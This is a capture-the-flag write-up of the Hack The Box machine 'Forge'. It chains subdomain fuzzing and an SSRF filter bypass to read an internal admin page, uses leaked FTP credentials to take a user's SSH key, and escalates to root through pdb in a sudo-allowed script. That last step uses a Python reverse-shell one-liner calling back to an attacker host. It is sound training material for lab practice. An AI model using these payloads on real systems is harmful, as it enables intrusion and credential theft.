Forge on hackTheBox
Summary
Foothold: Subdomains
User: SSRF + ftp creds
Privesc: sudo + python script + python debugger
Enumeration
Starting with nmap
to determine what ports are open and what services are running.
Full command and result of scanning:
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ sudo nmap -T4 -p- -A -oN Enumeration/nmap.txt 10.10.11.111
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On port 80
we have a web page. Add to /etc/hosts
ip address as forge.htb
.
After visiting the site, we can see there is upload functionality. Users can upload local files from their machine or can upload via URL.
Attempts to reproduce the LFI/RFI vulnerability were unsuccessful. So let’s try to enumerate further.
Using FFUF
we can determine existing subdomains:
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt -u http://forge.htb/ -H "Host: FUZZ.forge.htb" -t 100 -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://forge.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 18
________________________________________________
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
We can’t directly connect to admin.forge.htb
, as it is only accessible via localhost.
Let’s try to access the subdomain via the original site forge.htb
with Upload from url
functionality. To bypass restrictions we can enter the subdomain in the upper case:
Some data successfully is written into file that we can access via URL below
After retrieving this page we can see the content of admin.forge.htb
which is the Admin portal
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/Rj8PdReLecMz1bK4pNbQ
<!DOCTYPE html>
<html>
<head>
<title> Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""> <a href = "/" > Portal home</a></h1>
<h1 class="align-right margin-right"> <a href = "/announcements" > Announcements</a></h1>
<h1 class="align-right"> <a href = "/upload" > Upload image</a></h1>
</nav>
</header>
<br> <br><br><br>
<br> <br><br><br>
<center> <h1>Welcome Admins!</h1></center>
</body>
</html>
This proves that forge.htb
is vulnerable to SSRF , which is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests.
User
In content of admin.forge.htb
we can mention /announcement
directory. Access it with our SSRF. Again it was uploaded as a page in uploads
directory. Let’s curl
it:
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/eJEclDnoYosJ1XB7lkDM
<!DOCTYPE html>
<html>
<head>
<title> Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""> <a href = "/" > Portal home</a></h1>
<h1 class="align-right margin-right"> <a href = "/announcements" > Announcements</a></h1>
<h1 class="align-right"> <a href = "/upload" > Upload image</a></h1>
</nav>
</header>
<br> <br><br>
<ul>
<li> An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li> The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li> The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u= < url> .</li>
</ul>
</body>
</html>
From this announcement now we know credentials for FTP
user:heightofsecurity123!
and that it is accessible from endpoint upload
.
Let’s look at the content of the FTP server. To access use syntax as ftp://<user>:<password>@<hostname>
. In our case we will use this way:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB
Again, we will retrieve result with curl:
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/eZl5SlIsS86eokAMGmSP
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Sep 17 08:02 user.txt
It looks like we are in user’s home directory
, where usually we have ssh
keys stored. Let’s try to retrieve it via FTP by appending the path to the previous command:
http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@FORGE.HTB/.ssh/id_rsa
We will store the result in id_rsa
file and look at its content with cat
command.
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ curl http://forge.htb/uploads/ySur4tz5YrxwgsT78onq > id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2590 100 2590 0 0 11666 0 --:--:-- --:--:-- --:--:-- 11666
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
……….
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
And now we can try to login via ssh
to user’s shell:
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ ssh -i id_rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 17 Sep 2021 11:03:05 AM UTC
System load: 0.0
Usage of /: 44.7% of 6.82GB
Memory usage: 22%
Swap usage: 0%
Processes: 220
Users logged in: 0
IPv4 address for eth0: 10.10.11.111
IPv6 address for eth0: dead:beef::250:56ff:feb9:916f
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@forge:~$ ls -la
total 36
drwxr-xr-x 5 user user 4096 Aug 4 19:23 .
drwxr-xr-x 3 root root 4096 Aug 4 19:23 ..
lrwxrwxrwx 1 user user 9 May 19 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 user user 3771 Feb 25 2020 .bashrc
drwx------ 2 user user 4096 Aug 4 19:23 .cache
-rw-r--r-- 1 user user 807 Feb 25 2020 .profile
drwxr-xr-x 3 user user 4096 Aug 4 19:23 snap
drwxrwxr-x 2 user user 4096 Aug 4 19:23 .ssh
-rw-r----- 1 root user 33 Sep 17 08:02 user.txt
user@forge:~$ cat user.txt
[redacted]
user@forge:~$
Root
During post-enumeration, we determine that the current user can run with sudo
some python script.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
We cannot edit this script but we can read its content:
user@forge:~$ ls -la /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31 12:09 /opt/remote-manage.py
user@forge:~$ cat /opt/remote-manage.py
# ! /usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
Line import pdb
caught our attention. The module pdb defines an interactive source code debugger for Python programs. During the execution of the script, we can cause an error, which will call out the debugger.
To do this we need two terminals. In the first one, we will run the script. In second, we will connect to the port, opened by script, and interact with the program to cause exception.
Run script
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:63767
Connect and enter unsupported data
user@forge:~$ nc -nv 127.0.0.1 63767
Connection to 127.0.0.1 63767 port [tcp/*] succeeded!
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
sadjjaljdlkjaskld
In first shell, debugger is active and we can enter python reverse shell to execute
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:63767
invalid literal for int() with base 10: b'sadjjaljdlkjaskld'
> /opt/remote-manage.py( 27) <module>()
-> option = int( clientsock.recv( 1024) .strip())
(Pdb) socket=__import__("socket"); os = __import__( "os" ) ; pty = __import__( "pty" ) ; s = socket.socket( socket.AF_INET,socket.SOCK_STREAM) ; s.connect(( "10.10.14.8" ,4444)) ; os.dup2( s.fileno() ,0) ; os.dup2( s.fileno() ,1) ; os.dup2( s.fileno() ,2) ; pty.spawn( "/bin/bash" )
Receive root shell
┌──(m0rn1ngstr㉿kali)-[~/htb/Forge]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.111 55830
1
2
root@forge:/home/user# cd ~
cd ~
root@forge:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# hostname
hostname
forge
root@forge:~# ls -l
ls -l
total 12
-rwxr-xr-x 1 root root 46 May 28 07:22 clean-uploads.sh
-rw------- 1 root root 33 Sep 17 08:02 root.txt
drwxr-xr-x 3 root root 4096 May 19 14:21 snap
root@forge:~# cat root.txt
cat root.txt
[redacted]
root@forge:~#
Rooted
That’s it for this machine. Stay safe and Happy Hacking!